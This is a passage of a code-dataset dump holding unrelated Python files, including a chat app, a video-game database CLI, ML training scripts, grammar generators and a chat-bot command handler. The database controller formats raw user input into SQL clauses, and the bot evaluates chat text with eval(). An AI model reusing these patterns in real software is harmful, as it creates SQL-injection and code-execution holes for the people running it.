if (theTuple[2], theTuple[0], theTuple[1]) not in sub_cache:\n sub_cache[(theTuple[2], theTuple[0], theTuple[1])] = cache[theTuple[2]] - cache[theTuple[0]] - cache[theTuple[1]]\n if (theTuple[2], theTuple[1], theTuple[0]) not in sub_cache:\n sub_cache[(theTuple[2], theTuple[1], theTuple[0])] = cache[theTuple[2]] - cache[theTuple[1]] - cache[theTuple[0]]\n\n # now need to go through and see if there are any thing in the answer cache that will equal that of the sub cache\n for k , v in sub_cache.items():\n \n if v in ans_cache:\n combos.append((ans_cache[v], k[2], k[0], k[1]))\n \n return combos\n\n\n\nif __name__ == \"__main__\":\n print(myFunction(q))","sub_path":"applications/sumdiff/sumdiff.py","file_name":"sumdiff.py","file_ext":"py","file_size_in_byte":3266,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"36"} +{"seq_id":"347338350","text":"import unittest\nimport surfex\n\n\nclass ForcingTest(unittest.TestCase):\n\n def test_forcing_nc(self):\n\n argv = [\"2020022000\", \"2020022001\", \"test/settings/conf_proj_test.json\",\n \"-p\", \"testdata/meps_det_2_5km_@YYYY@@MM@@DD@T@HH@Z.nc\",\n \"-i\", \"netcdf\",\n \"--zref\", \"ml\",\n \"--uref\", \"ml\",\n \"--co2\", \"constant\",\n \"--sca_sw\", \"constant\",\n \"--zval\", \"constant\",\n \"--zsoro_converter\", \"phi2m\",\n \"--zval\", \"constant\",\n \"--uval\", \"constant\"\n ]\n kwargs = surfex.parse_args_create_forcing(argv)\n options, var_objs, att_objs = surfex.forcing.set_forcing_config(**kwargs)\n surfex.forcing.run_time_loop(options, var_objs, att_objs)\n","sub_path":"test/test_forcing.py","file_name":"test_forcing.py","file_ext":"py","file_size_in_byte":811,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"36"} +{"seq_id":"139017723","text":"import os\nimport requests\nfrom dotenv import load_dotenv\nload_dotenv('.flaskenv')\n\nfrom flask import Flask, render_template, request\nfrom flask_socketio import SocketIO, send, emit, join_room, leave_room\n\napp = Flask(__name__)\napp.config[\"SECRET_KEY\"] = os.getenv(\"SECRET_KEY\")\nsocketio = SocketIO(app)\n\nROOMS = [\"room1\", \"room2 \", \"room3\"]\n\n@app.route(\"/\")\ndef index():\n return render_template(\"index.html\", rooms=ROOMS)\n\n@socketio.on('message') #When server is listening to an event called message\ndef handle_message(data):\n\n msg = data[\"msg\"]\n room = data[\"room\"]\n print(f\"{data}\")\n send({\"msg\": msg}, room=room)\n\n@socketio.on('join')\ndef join(data):\n room = data[\"room\"]\n join_room(room)\n send({\"msg\": \"someone has joined to: \" + room}, room=room, broadcast = True)\n\n@socketio.on('leave')\ndef leave(data):\n room = data[\"room\"]\n leave_room(room)\n send({\"msg\": \"someone has left\"}, room=room)\n\n@socketio.on('new_room')\ndef new_room(data):\n ROOMS.append(data[\"new_room_name\"])\n room = data[\"new_room_name\"]\n join_room(data['new_room_name'])\n # Notification about new chat room created\n send({\"msg\": \"someone has created the \" + room + \" room.\"}, room=room, broadcast=True)\n\n\nif __name__ == '__main__':\n socketio.run(app)","sub_path":"application.py","file_name":"application.py","file_ext":"py","file_size_in_byte":1272,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"36"} +{"seq_id":"435786957","text":"import os\nimport re\n\ntables = {'1':'developer', \n '2':'player', \n '3':'videogame', \n '4':'dev_game',\n '5':'game_player',\n }\n\ncolumns = {'developer':['dev_id', 'name'],\n 'player':['id', 'nickname'],\n 'videogame':['game_id', 'v_name', 'genre', 'price'],\n 'dev_game':['game_id', 'dev_id', 'release_date'],\n 'game_player':['game_id', 'player_id', 'buy_date']\n }\n \ncolumnins = {'developer':['name'],\n 'player':['nickname'],\n 'videogame':['v_name', 'genre', 'price'],\n 'dev_game':['game_id','dev_id', 'release_date'],\n 'game_player':['game_id','player_id', 'buy_date']\n }\n\nfts_columns = {'developer':['name'],\n 'player':['nickname'],\n 'videogame':['v_name', 'genre'],\n }\n \n\nimport model as model\nimport view as view\n\n \n\ndef game_price_range():\n print(\"Input Range\")\n print(\"price more than: \")\n lw= input()\n print(\"price less than: \")\n hg = input()\n where = (\"WHERE ((price >= \"+lw+\")AND(price <= \"+hg+\")) ORDER BY game_id\")\n return(model.select1(\"videogame\", where))\n \n\n\ndef game_of_developers(v_game):\n for temp in v_game:\n print(\"\\n\",temp.strip())\n try:\n yield model.select1(\"videogame, dev_game, developer\",\n \"WHERE dev_game.dev_id = developer.dev_id \\\n AND dev_game.game_id = videogame.game_id \\\n AND (developer.name ILIKE '{}' \\\n OR developer.name ILIKE '{}')\".format(temp.strip(),temp.strip()), \"videogame.game_id, v_name, genre, price \")\n except (Exception, psycopg2.Error) as error:\n print(error)\n return \n \ndef insert_into_table(table_num):\n table = tables[table_num]\n table_columns = columnins[table]\n values = []\n try:\n for i in range(len(table_columns)):\n answer = input(table_columns[i] + ' = ')\n values.append(answer)\n except Exception as error:\n print(error)\n return\n print(\"INSERT INTO \" + table + \" VALUES(\" + ', '.join(values) + ')')\n res = model.insert(table, table_columns, values)\n return res\n \n \n \ndef delete_from_table(table_num):\n table = tables[table_num]\n table_columns = columns[table]\n while True:\n print(\"Choose column to delete by:\")\n view.table_columns_names(table_num)\n chosen_column_num = input()\n if re.match(r'^[1-{}]{}$'.format(len(table_columns), \"{1}\"), \n chosen_column_num):\n chosen_column = table_columns[int(chosen_column_num)-1]\n print(\"Input value: \")\n print(\"DELETE FROM {} WHERE {} = ...\".format(table, chosen_column))\n value = \"'\" + input() + \"'\"\n print(\"DELETE FROM {} WHERE {} = {}\".format(table, \n chosen_column, value))\n where = \" WHERE {} = {}\".format(chosen_column, value)\n res = model.delete(table, where)\n return res\n elif chosen_column_num == '0':\n return\n else:\n print(\"No such option. Check your input\")\n\n \ndef update_table(table_num):\n table = tables[table_num]\n table_columns = columns[table]\n while True:\n print(\"Choose column to update:\")\n view.table_columns_names(table_num)\n chosen_column_num = input()\n if re.match(r'^[1-{}]{}$'.format(len(table_columns), \"{1}\"), \n chosen_column_num):\n set_column = table_columns[int(chosen_column_num)-1]\n print(\"Input value: \")\n print(\"UPDATE {} SET {} = ...\".format(table, set_column))\n set_value = \"'\" + input() + \"'\"\n print(\"Choose column to update by:\")\n view.table_columns_names(table_num)\n chosen_column_num = input()\n if re.match(r'^[1-{}]{}$'.format(len(table_columns), \"{1}\"), \n chosen_column_num):\n where_column = table_columns[int(chosen_column_num)-1]\n print(\"Input value: \")\n print(\"UPDATE {} SET {} = {} WHERE {} = ...\".format(table, \n set_column, set_value, where_column))\n where_value = \"'\" + input() + \"'\"\n print(\"UPDATE {} SET {} = {} WHERE {} = {}\".format(table, \n set_column, set_value, where_column, where_value))\n set = \" SET {} = {}\".format(set_column, set_value)\n where = \" WHERE {} = {}\".format(where_column, where_value)\n res = model.update(table, set, where)\n return res\n elif chosen_column_num == '0':\n return\n else:\n print(\"No such option. Check your input\") \n elif chosen_column_num == '0':\n return\n else:\n print(\"No such option. Check your input\") \n \n \ndef fts_table(text, mode, table_num):\n table = tables[table_num]\n to_tsvector = fts_columns[table]\n where = ' || '.join(\"to_tsvector(coalesce({}, ''))\".format(w) \n for w in to_tsvector)\n where += \" @@ plainto_tsquery('{}')\".format(text)\n return(model.full_text_search(table, where, mode))\n \n \ndef main_menu():\n while True:\n view.show_main_menu()\n option = input()\n if re.match(r'^[1-5]{1}$', option):\n while True:\n view.tables_names()\n chosen_table = input()\n if re.match(r'^[1-6]{1}$', chosen_table):\n table = view.tables[chosen_table]\n if option == '1':\n table = tables[chosen_table]\n table_columns = columns[table]\n notes = model.select(table, table_columns[0])\n view.print_table(chosen_table, notes)\n elif option == '2':\n res = insert_into_table(chosen_table)\n if not res:\n print(\"Data wasn't inserted\")\n else:\n print(\"Successfully inserted\")\n elif option == '3':\n res = update_table(chosen_table)\n if not res:\n print(\"Data wasn't updated\")\n else:\n print(\"Operation successfull\")\n elif option == '4':\n res = delete_from_table(chosen_table)\n if not res:\n print(\"Data wasn't deleted\")\n else:\n print(\"Operation successfull\")\n elif option == '5':\n text = input(\"Input text to search: \")\n view.fts_mode()\n mode = input()\n if re.match(r'^[1,2]{1}$', mode):\n notes = fts_table(text, mode, chosen_table)\n view.print_table(chosen_table, notes) \n elif back_to_menu == '1':\n break\n else:\n print(\"No such option. Check your input\")\n elif chosen_table == '0':\n break\n else:\n print(\"No such option. Check your input\")\n view.back_to_menu()\n back_to_menu = input()\n if back_to_menu == '0':\n continue\n elif back_to_menu == '1':\n break\n else:\n print(\"No such option. Check your input\")\n elif option == '6':\n view.print_table('3', game_price_range()) \n elif option == '7':\n dev = input(\"Input authors names separated with comma: \")\n dev = dev.split(', ')\n for dev_list in game_of_developers(dev):\n view.print_table('3', dev_list)\n\n elif option == '8':\n num_of_rand = input(\"Number of random players\\n\")\n res = model.random_author(num_of_rand)\n if not res:\n print(\"Data wasn't updated\")\n else:\n print(\"Successfully updated\")\n elif option == '9':\n os.system(\"cls\")\n elif option == '0':\n exit()\n else:\n print(\"No such option. Check your input\")\n \n \nif __name__ == \"__main__\":\n main_menu()","sub_path":"DB_Lab2/controller.py","file_name":"controller.py","file_ext":"py","file_size_in_byte":8901,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"36"} +{"seq_id":"544638165","text":"# This Source Code Form is subject to the terms of the Mozilla Public\n# License, v. 2.0. If a copy of the MPL was not distributed with this\n# file, You can obtain one at http://mozilla.org/MPL/2.0/.\n\nimport unittest\nimport mock\nfrom psycopg2 import ProgrammingError\nfrom socorro.external.postgresql import setupdb_app\nfrom socorro.unittest.config.commonconfig import databaseName\nfrom configman import ConfigurationManager\n\nDSN = {\n \"database_name\": databaseName.default,\n}\n\n\nclass TestSetupDB(unittest.TestCase):\n\n psycopg2_module_path = 'socorro.external.postgresql.setupdb_app.psycopg2'\n\n def test_execute_postgres(self):\n config_manager = self._setup_config_manager()\n klass = setupdb_app.PostgreSQLManager\n\n with config_manager.context() as config:\n with mock.patch(self.psycopg2_module_path) as psycopg2:\n with klass('dbname=postgres', config.logger) as db:\n db.execute('CREATE DATABASE blah')\n\n (psycopg2.connect().cursor()\n .execute.assert_called_with('CREATE DATABASE blah'))\n\n def test_execute_postgres_with_acceptable_errors(self):\n config_manager = self._setup_config_manager()\n klass = setupdb_app.PostgreSQLManager\n\n with config_manager.context() as config:\n with mock.patch(self.psycopg2_module_path) as psycopg2:\n pge = ProgrammingError()\n pge.pgerror = \"ERROR: bad things happened\"\n psycopg2.connect().cursor().execute.side_effect = pge\n\n # no allowable errors\n with klass('postgres', config.logger) as db:\n self.assertRaises(ProgrammingError, db.execute,\n 'CREATE DATABASE blah')\n # harmless error\n with klass('postgres', config.logger) as db:\n db.execute('CREATE DATABASE blah', ['bad things'])\n\n config.logger.warning.assert_called_with('bad things happened')\n\n (psycopg2.connect().cursor()\n .execute.assert_called_with('CREATE DATABASE blah'))\n\n # harmless but not expected\n with klass('postgres', config.logger) as db:\n self.assertRaises(ProgrammingError, db.execute,\n 'CREATE DATABASE blah', ['other things'])\n\n # unrecognized ProgrammingError\n pge = ProgrammingError()\n pge.pgerror = \"ERROR: good things\"\n psycopg2.connect().cursor().execute.side_effect = pge\n with klass('postgres', config.logger) as db:\n self.assertRaises(ProgrammingError, db.execute,\n 'CREATE DATABASE blah', ['bad things'])\n\n # something really f'ed up\n err = ValueError('flying pigs!')\n psycopg2.connect().cursor().execute.side_effect = err\n with klass('postgres', config.logger) as db:\n self.assertRaises(ValueError, db.execute,\n 'CREATE DATABASE blah', ['bad things'])\n\n # that self.conn.close() was called with no arguments:\n psycopg2.connect().close.assert_called_with()\n\n def test_setupdb_app_main(self):\n config_manager = self._setup_config_manager({\n 'database_name': 'foo',\n 'database_hostname': 'heaven',\n })\n\n with config_manager.context() as config:\n with mock.patch(self.psycopg2_module_path) as psycopg2:\n app = setupdb_app.SocorroDB(config)\n # TODO test that citext.sql gets loaded with 9.0.x\n # TODO test that non 9.[01].x errors out\n version_info = [('PostgreSQL 9.1.1 blah blah blah',)]\n psycopg2.connect().cursor().fetchall.return_value = version_info\n result = app.main()\n self.assertEqual(result, 0)\n\n psycopg2.connect.assert_called_with('dbname=foo host=heaven')\n (psycopg2.connect().cursor().execute\n .assert_any_call('SELECT weekly_report_partitions()'))\n (psycopg2.connect().cursor().execute\n .assert_any_call('CREATE DATABASE foo'))\n\n def _setup_config_manager(self, extra_value_source=None):\n if not extra_value_source:\n extra_value_source = {}\n mock_logging = mock.Mock()\n required_config = setupdb_app.SocorroDB.required_config\n required_config.add_option('logger', default=mock_logging)\n\n config_manager = ConfigurationManager(\n [required_config,\n ],\n app_name='setupdb',\n app_description=__doc__,\n values_source_list=[{\n 'logger': mock_logging,\n 'database_name': 'blah',\n }, DSN, extra_value_source]\n )\n return config_manager\n","sub_path":"socorro/unittest/external/postgresql/test_setupdb_app.py","file_name":"test_setupdb_app.py","file_ext":"py","file_size_in_byte":4978,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"452029819","text":"import os\nfrom se_resnet import se_resnet50\nfrom utils import Trainer, StepLR\n\nimport torch\nfrom torch import nn\nimport torch.nn.functional as F\nimport torch.optim as optim\nfrom torchvision import datasets, transforms\n\n\ndef main(batch_size, data_root):\n transform_train = transforms.Compose([\n transforms.RandomSizedCrop(224),\n transforms.RandomHorizontalFlip(),\n transforms.ToTensor(),\n transforms.Normalize(mean=[0.485, 0.456, 0.406],\n std=[0.229, 0.224, 0.225]),\n ])\n transform_test = transforms.Compose([\n transforms.CenterCrop(224),\n transforms.ToTensor(),\n transforms.Normalize(mean=[0.485, 0.456, 0.406],\n std=[0.229, 0.224, 0.225]),\n ])\n\n traindir = os.path.join(data_root, 'train')\n valdir = os.path.join(data_root, 'val')\n train = datasets.ImageFolder(traindir, transform_train)\n val = datasets.ImageFolder(valdir, transform_test)\n train_loader = torch.utils.data.DataLoader(\n train, batch_size=batch_size, shuffle=True, num_workers=8)\n test_loader = torch.utils.data.DataLoader(\n val, batch_size=batch_size, shuffle=True, num_workers=8)\n _se_resnet = se_resnet50(num_classes=1000)\n se_resnet = nn.DataParallel(_se_resnet, device_ids=[0, 1])\n optimizer = optim.SGD(params=se_resnet.parameters(), lr=0.6, momentum=0.9, weight_decay=1e-4)\n scheduler = StepLR(optimizer, 30, gamma=0.1)\n trainer = Trainer(se_resnet, optimizer, F.cross_entropy, save_dir=\".\")\n trainer.loop(100, train_loader, test_loader, scheduler)\n\n\nif __name__ == '__main__':\n import argparse\n\n p = argparse.ArgumentParser()\n p.add_argument(\"root\", help=\"imagenet data root\")\n p.add_argument(\"--batch_size\", default=128, type=int)\n args = p.parse_args()\n main(args.batch_size, args.root)\n","sub_path":"imagenet.py","file_name":"imagenet.py","file_ext":"py","file_size_in_byte":1856,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"469034428","text":"\"\"\"\n刻度网格线\n\"\"\"\n\n\n\nimport numpy as np\nimport matplotlib.pyplot as mp\n\n\ny=[\n 1,\n 10,\n 100,\n 1000,\n 100,\n 10,\n 1\n]\n\nmp.figure(\n 'GridLine',\n facecolor='lightgray',\n)\n\nmp.title('GridLine',fontsize=18)\nmp.xlabel('x',fontsize=14)\nmp.xlabel('x',fontsize=14)\n\nax = mp.gca()\nax.xaxis.set_major_locator(mp.NullLocator())\nax.xaxis.set_minor_locator(mp.MultipleLocator(0.1))\nax.grid(which='major',axis='both',linewidth=0.75,color='orange')\nmp.plot(y,'o-',c='dodgerblue',label='p')\nmp.legend()\nmp.show()","sub_path":"data_analysis/matplotlib/_7.grid.py","file_name":"_7.grid.py","file_ext":"py","file_size_in_byte":526,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"641063706","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sun Nov 4 21:48:48 2018\n@author: DrLC\n\"\"\"\n\nimport pickle\nimport numpy\n\nimport tomita\nimport random\n\n\nclass Grammar():\n\n Tomita1=1\n Tomita2=2\n Tomita3=3\n Tomita4=4\n Tomita5=5\n Tomita6=6\n Tomita7=7\n\nclass Generator(object):\n '''\n For each length, we generate the identical number of positive strings and negative strings.\n '''\n def __init__(self,grammarType,len_pool,size_per_len):\n self.grammarType=grammarType\n self.len_pool=len_pool\n self.size_per_len=size_per_len\n self.alphabet=[\"0\",\"1\"]\n\n if self.grammarType == Grammar.Tomita1:\n self.dfa = tomita.Tomita_1()\n\n if self.grammarType == Grammar.Tomita2:\n self.dfa = tomita.Tomita_2()\n\n if self.grammarType == Grammar.Tomita3:\n self.dfa = tomita.Tomita_3()\n\n if self.grammarType == Grammar.Tomita4:\n self.dfa = tomita.Tomita_4()\n\n if self.grammarType == Grammar.Tomita5:\n self.dfa = tomita.Tomita_5()\n\n if self.grammarType == Grammar.Tomita6:\n self.dfa = tomita.Tomita_6()\n\n if self.grammarType == Grammar.Tomita7:\n self.dfa = tomita.Tomita_7()\n\n\n def generate(self):\n pos_list=[]\n neg_list=[]\n for l in self.len_pool:\n for i in range(self.size_per_len):\n pos,neg=self.dfa.generate(l)\n if pos not in pos_list and len(pos)>0:\n pos_list.append(pos)\n if neg not in neg_list and len(neg)>0:\n neg_list.append(neg)\n return pos_list,neg_list\n\n\nif __name__==\"__main__\":\n g=Generator(Grammar.Tomita7,[1,2,3,4,5,6,14],10000)\n pos_list,neg_list=g.generate()\n print(len(pos_list),len(neg_list))\n\n\n\n # t=tomita.Tomita_5()\n # print(t.classify(\"00\",t.get_start()))\n\n","sub_path":"pfa-data-generator/data_process/tomita/generator.py","file_name":"generator.py","file_ext":"py","file_size_in_byte":1868,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"454630677","text":"__metaclass__ = type\n\nimport random\n\ninfinity = 1.0e400\n\nclass Struct:\n \"\"\"Create an instance with argument=value slots.\n This is for making a lightweight object whose class doesn't matter.\n Ex: s = Struct(a=1, b=2); s.a ==> 1; s.a = 3; s ==> Struct(a=3, b=2)\n \"\"\"\n def __init__(self, **entries):\n self.__dict__.update(entries)\n\n def __cmp__(self, other):\n if isinstance(other, Struct):\n return cmp(self.__dict__, other.__dict__)\n else:\n return cmp(self.__dict__, other)\n\n def __repr__(self):\n args = ['%s=%s' % (k, repr(v)) for (k, v) in vars(self).items()]\n return 'Struct(%s)' % ', '.join(args)\n\n# Functions on sequences of numbers\n# A lot of programing is finding the best value that satisfies some condition;\n# so there are three versions of argmin/argmax, depending on what you want to\n# do with ties: return the first one, return them all, or pick at random.\n\ndef argmin(seq, fn):\n \"\"\"Return an element with lowest fn(seq[i]) score; tie goes to first one.\n Ex: argmin(['one', 'to', 'three'], len) ==> 'to'\n \"\"\"\n best = seq[0]; best_score = fn(best)\n for x in seq:\n x_score = fn(x)\n if x_score < best_score:\n best, best_score = x, x_score\n return best\n\ndef argmin_list(seq, fn):\n \"\"\"Return a list of elements of seq[i] with the lowest fn(seq[i]) scores.\n Ex: argmin_list(['one', 'to', 'three', 'or'], len) ==> ['to', 'or']\n \"\"\"\n best_score, best = fn(seq[0]), []\n for x in seq:\n x_score = fn(x)\n if x_score < best_score:\n best, best_score = [x], x_score\n elif x_score == best_score:\n best.append(x)\n return best\n\ndef argmin_random_tie(seq, fn):\n \"\"\"Return an element with lowest fn(seq[i]) score; break ties at random.\n Thus, for all s,f: argmin_random_tie(s, f) in argmin_list(s, f)\n \"\"\"\n best_score = fn(seq[0]); n = 0\n for x in seq:\n x_score = fn(x)\n if x_score < best_score:\n best, best_score = x, x_score; n = 1\n elif x_score == best_score:\n n += 1\n if random.randrange(n) == 0:\n best = x\n return best\n\ndef argmax(seq, fn):\n \"\"\"Return an element with highest fn(seq[i]) score; tie goes to first one.\n Ex: argmax(['one', 'to', 'three'], len) ==> 'three'\n \"\"\"\n return argmin(seq, lambda x: -fn(x))\n\ndef argmax_list(seq, fn):\n \"\"\"Return a list of elements of seq[i] with the highest fn(seq[i]) scores.\n Ex: argmax_list(['one', 'three', 'seven'], len) ==> ['three', 'seven']\n \"\"\"\n return argmin_list(seq, lambda x: -fn(x))\n\ndef argmax_random_tie(seq, fn):\n \"\"\"Return an element with highest fn(seq[i]) score; break ties at random.\n \"\"\"\n return argmin_random_tie(seq, lambda x: -fn(x))\n\ndef num_or_str(x):\n \"\"\"The argument is a string; convert to a number if possible, or strip it.\n Ex: num_or_str('42') ==> 42; num_or_str(' 42x ') ==> '42x'\n \"\"\"\n if isnumber(x): return x\n try:\n return int(x)\n except ValueError:\n try:\n return float(x)\n except ValueError:\n return str(x).strip()\n\ndef abstract():\n \"\"\"Indicate abstract methods that should be implemented in a subclass.\n Ex: def m(): abstract() # Similar to Java's 'abstract void m()'\n \"\"\"\n raise NotImplementedError(caller() + ' must be implemented in subclass')\n\ndef caller(n=1):\n \"\"\"Return the name of the calling function n levels up in the frame stack.\n Ex: caller(0) ==> 'caller'; def f(): return caller(); f() ==> 'f'\n \"\"\"\n import inspect\n return inspect.getouterframes(inspect.currentframe())[n][3]\n\ndef parse_move(move):\n \"\"\"A move is represented by a string like:\n X:5a-6b 6b-7c 7c-8d\n\n We return back (player, from, to, steps)\n \"\"\"\n\n move = move.strip('\\n')\n move = move.strip()\n player, moves = move.split(':')\n parts = moves.split(' ')\n parts = filter(None, parts)\n steps = []\n start = None\n for part in parts:\n a, b = part.split('-')\n a = (int(a[0]), a[1])\n b = (int(b[0]), b[1])\n if start is None:\n start = a\n steps.append(b)\n continue\n if a not in steps:\n steps.append(a)\n if b not in steps:\n steps.append(b)\n end = steps[-1]\n if len(steps) == 1:\n steps = ()\n return player, start, end, tuple(steps)\n","sub_path":"school/checkers/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":4413,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"252433824","text":"# The command file for every external command not specifically for running\n# the bot. Even more relevant commands like broadcast options and whitelists\n# are treated as such.\n#\n# Every command in here should follow the basic structure of:\n# elif cmd == 'commandHere':\n# doYourThings(lots, of, variables)\n# return 'Your Response', True/False\n#\n# True: Allows that the command in question can, if gotten from a room,\n# be returned to the same room rather than a PM.\n# False: This will ALWAYS return the reply as a PM, no matter where it came from\n\nfrom random import randint, sample\nimport re\nimport yaml\nimport json\nimport math # For funsies\n\nfrom data.tiers import tiers, formats\nfrom data.links import Links\nfrom data.pokedex import Pokedex\nfrom data.types import Types\nfrom data.replies import Lines\n\nfrom plugins.games import Hangman, Anagram\n\nGameCommands = ['hangman', 'hg', 'anagram']\n\ndef Command(self, cmd, msg, user):\n ''' Returns the reply if the command exists, and False if it doesn't '''\n # Debug commands and program info\n if cmd == 'echo':\n return msg, True\n elif cmd in ['source', 'git']:\n return 'Source code can be found at: {url}'.format(url = getURL()), False\n elif cmd == 'credits':\n return 'Credits can be found: {url}'.format(url = getURL()), True\n elif cmd in ['commands', 'help']:\n return 'Read about commands here: {url}blob/master/COMMANDS.md'.format(url = getURL()), True\n elif cmd == 'leave':\n msg = msg.replace(' ','')\n if self.leaveRoom(msg):\n return 'Leaving room {r} succeeded'.format(r = msg), False\n else:\n return 'Could not leave room: {r}'.format(r = msg), False\n # THIS COMMAND SHOULDN'T BE DOCUMENTED!\n elif cmd == 'get':\n if isMaster(self, user):\n return str(eval(msg)), True\n else:\n return 'You do not have permisson to use this command. (Only for owner)', False\n # Save current self.details to details.yaml (moves rooms to joinRooms)\n elif cmd == 'savedetails':\n saveDetails(self)\n return 'Details saved.', False\n\n # Permissions\n elif cmd == 'broadcast':\n return 'Rank required to broadcast: {rank}'.format(rank = self.details['broadcastrank']), True\n elif cmd == 'setbroadcast':\n msg = msg.replace(' ','')\n if msg in self.Groups or msg in ['off', 'no', 'false']:\n if canChange(self, user):\n if msg in ['off', 'no', 'false']: msg = ' '\n if self.details['broadcastrank'] == msg:\n return 'Broadcast rank is already {rank}'.format(rank = msg), True\n else:\n self.details['broadcastrank'] = msg\n return 'Broadcast rank set to {rank}. (This is not saved on reboot)'.format(rank = msg), True\n else:\n return 'You are not allowed to set broadcast rank. (Requires #)', False\n else:\n return '{rank} is not a valid rank'.format(rank = msg), False\n elif cmd == 'whitelist':\n if canSee(self, user):\n if self.details['whitelist']:\n return ' ,'.join(self.details['whitelist']), False\n else:\n return 'Whitelist is empty :(', False\n else:\n return 'You are not allowed to see the whitelist :l (Requires %)', False\n elif cmd in ['whitelistuser', 'wluser']:\n if canAddUser(self, user):\n self.details['whitelist'].append(msg)\n return 'User {usr} added to whitelist.'.format(usr = msg), True\n elif cmd == 'removewl':\n if canAddUser(self, user):\n self.details['whitelist'].remove(msg)\n return 'User {usr} removed from the whitelist.'.format(usr =msg), True\n elif cmd == 'moderate':\n if not msg:\n return 'No parameters given. Command is ~moderate [room],True/False', False\n else:\n if canChange(self, user):\n things = msg.replace(' ','').split(',')\n if not len(things) == 2:\n return 'Too few/mant parameters given. Command is ~moderate [room],True/False', False\n if things[0] in self.details['rooms']:\n if things[1] in ['True', 'true']:\n self.details['rooms'][things[0]].moderate = True\n return '{room} will now be moderated'.format(room = things[0]), False\n elif things[1] in ['False', 'false']:\n self.details['rooms'][things[0]].moderate = False\n return '{room} will not be moderated anymore'.format(room = things[0]), False\n else:\n return 'You cannot set moderation in a room without me in it.', False\n else:\n return 'You do not have permission to set this. (Requires #)', False\n\n elif cmd == 'allowgames':\n if canChange(self, user):\n msg = msg.replace(' ','')\n things = msg.split(',')\n if len(things) == 2:\n if things[0] in self.details['rooms']:\n if things[1] in ['true','yes','y','True']:\n if not self.details['rooms'][things[0]].allowGames:\n self.details['rooms'][things[0]].allowGames = True\n return 'Chatgames are now allowed in {room}'.format(room = things[0]), True\n else:\n return 'Chatgames are already allowed in {room}'.format(room = things[0]), True\n elif things[1] in ['false', 'no', 'n',' False']:\n self.details['rooms'][things[0]].allowGames = False\n return 'Chatgames are now not allowed in {room}'.format(room = things[0]), True\n else:\n return '{param} is not a supported parameter'.format(param = things[1]), True\n else:\n return 'Cannot allow chatgames without being in the room', True\n else:\n return 'Too few/many parameters. Command is ~allowgames [room],True/False', False\n else:\n return 'You do not have permission to change this. (Requires #)', False\n\n # Informational commands\n elif cmd in Links:\n if msg in Links[cmd]:\n return Links[cmd][msg], True\n else:\n return '{tier} is not a supported format for {command}'.format(tier = msg, command = cmd), True\n # Fun stuff\n elif cmd == 'pick':\n options = msg.split(',')\n return options[randint(0,(len(options)-1))], True\n elif cmd == 'ask':\n return Lines[randint(0, len(Lines)-1)], True\n elif cmd == 'joke':\n if randint(0, 1) and self.Groups[user['group']] >= self.Groups['+']:\n return user['unform'], True\n else:\n return getJoke(), True\n elif cmd in tiers:\n pick = list(tiers[cmd])[randint(0,len(tiers[cmd])-1)]\n pNoForm = re.sub('-(?:Mega(?:-(X|Y))?|Primal)','', pick).lower()\n return '{poke} was chosen: http://www.smogon.com/dex/xy/pokemon/{mon}/'.format(poke = pick, mon = pNoForm), True\n elif cmd in [t.replace('poke','team') for t in tiers]:\n team = set()\n attempts = 0\n while len(team) < 6 or not acceptableWeakness(team):\n poke = list(tiers[cmd.replace('team','poke')])[randint(0,len(tiers[cmd.replace('team','poke')])-1)]\n # Test if share dex number with anything in the team\n if [p for p in team if Pokedex[poke]['dex'] == Pokedex[p]['dex']]:\n continue\n if [p for p in team if '-Mega' in p] and '-Mega' in poke:\n continue\n team |= {poke}\n if not acceptableWeakness(team):\n team -= {poke}\n if len(team) >= 6:\n break\n attempts += 1\n if attempts >= 100:\n # Prevents locking up if a pokemon turns the team to an impossible genration\n # Since the team is probably bad anyway, just finish it and exit\n while len(team) < 6:\n team |= {list(tiers[cmd.replace('team','poke')])[randint(0,len(tiers[cmd.replace('team','poke')])-1)]} \n break\n return ' / '.join(list(team)), True\n\n # Chat games go here\n # Hangman\n elif cmd == 'hangman':\n msg = msg.strip().split(',')\n if 'end' in msg[0] and canStartGame(self, user) and isGameType(self.details['gamerunning'], Hangman):\n phrase = self.details['gamerunning'].getSolution()\n self.details['gamerunning'] = None\n return 'The hangman game was forcefully ended by {baduser}. (Killjoy)\\nThe solution was: **{solved}**'.format(baduser = user['unform'], solved = phrase), True\n elif 'new' in msg[0]: # ~hangman new,room,[phrase]\n if canStartGame(self, user):\n if self.details['gamerunning']:\n return 'A game is already running somewhere', False \n phrase = re.sub(r'[^a-zA-Z0-9 ]', '', re.sub(r'\\s{2,}', ' ', msg[2].lstrip()))\n if not phrase.strip():\n return 'You can only have letters, numbers or spaces in the phrase', False\n if len(phrase.replace(' ','')) <= 1:\n \t return 'The phrase must be at least two characters long', False\n self.details['gamerunning'] = Hangman(phrase)\n return 'A new game of hangman has begun:\\n' + self.details['gamerunning'].printCurGame(), True\n else:\n return 'You do not have permission to start a game in this room. (Requires %)', False\n else:\n return 'To start a new hangman game: ~hangman new,[room],[phrase]', True\n elif cmd == 'hg':\n if isGameType(self.details['gamerunning'], Hangman):\n if len(msg.replace(' ','')) == 1:\n return self.details['gamerunning'].guessLetter(msg.replace(' ','').lower()), True\n else:\n if not msg.lstrip():\n return \"You can't guess nothing\", True\n if self.details['gamerunning'].guessPhrase(msg.lstrip()):\n solved = self.details['gamerunning'].getFormatedPhrase()\n self.details['gamerunning'] = None\n return 'Congratulations {name}. You won!\\nThe phrase was: {phrase}'.format(name = user['unform'], phrase = solved), True\n else:\n return '{test} is wrong!'.format(test = msg.lstrip()), True\n else:\n return 'There is no hangman game in progress right now', True\n # Anagrams of Pokemon names\n elif cmd == 'anagram':\n if msg == 'new':\n if canStartGame(self, user): \n if self.details['gamerunning']:\n return 'A game is already running somewhere', False\n else:\n 